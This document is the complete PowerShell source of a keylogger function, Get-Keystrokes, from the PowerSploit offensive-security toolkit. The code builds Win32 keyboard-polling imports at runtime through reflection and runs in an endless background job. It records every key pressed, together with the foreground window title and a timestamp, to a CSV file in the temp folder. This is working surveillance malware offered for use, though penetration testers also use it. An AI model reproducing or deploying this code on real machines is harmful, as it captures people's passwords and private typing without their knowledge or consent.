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function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PollingInterval
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
Get-Keystrokes -CollectionInterval 20
.EXAMPLE
Get-Keystrokes -PollingInterval 35
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval,
[Parameter(Position = 2)]
[Int32]
$PollingInterval = 40
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = {
$LogPath = 'REPLACEME'
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
try
{
$ImportDll = [User32]
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$ImportDll = $TypeBuilder.CreateType()
}
Start-Sleep -Milliseconds $PollingInterval
try
{
#loop through typeable characters to see which is pressed
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
{
$VirtualKey = $TypeableChar
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
#if the key is pressed
if (($KeyResult -band 0x8000) -eq 0x8000)
{
#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
#check for capslock
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
$KeyboardState = New-Object Byte[] 256
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
#create a stringbuilder object
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
#convert typed characters
if ($UnicodeKey -gt 0) {
$TypedCharacter = $StringBuilder.ToString()
$LogOutput += ('['+ $TypedCharacter +']')
}
#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
#get the current DTG
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
#Create a custom object to store results
$ObjectProperties = @{'Key Typed' = $LogOutput;
'Time' = $TimeStamp;
'Window Title' = $WindowTitle}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
}
}
catch {}
}
}
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
if ($PSBoundParameters['CollectionInterval'])
{
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
Stop-Job -Name Keylogger
Unregister-Event -SourceIdentifier ElapsedAction
$Sender.Stop()
} | Out-Null
}
}
|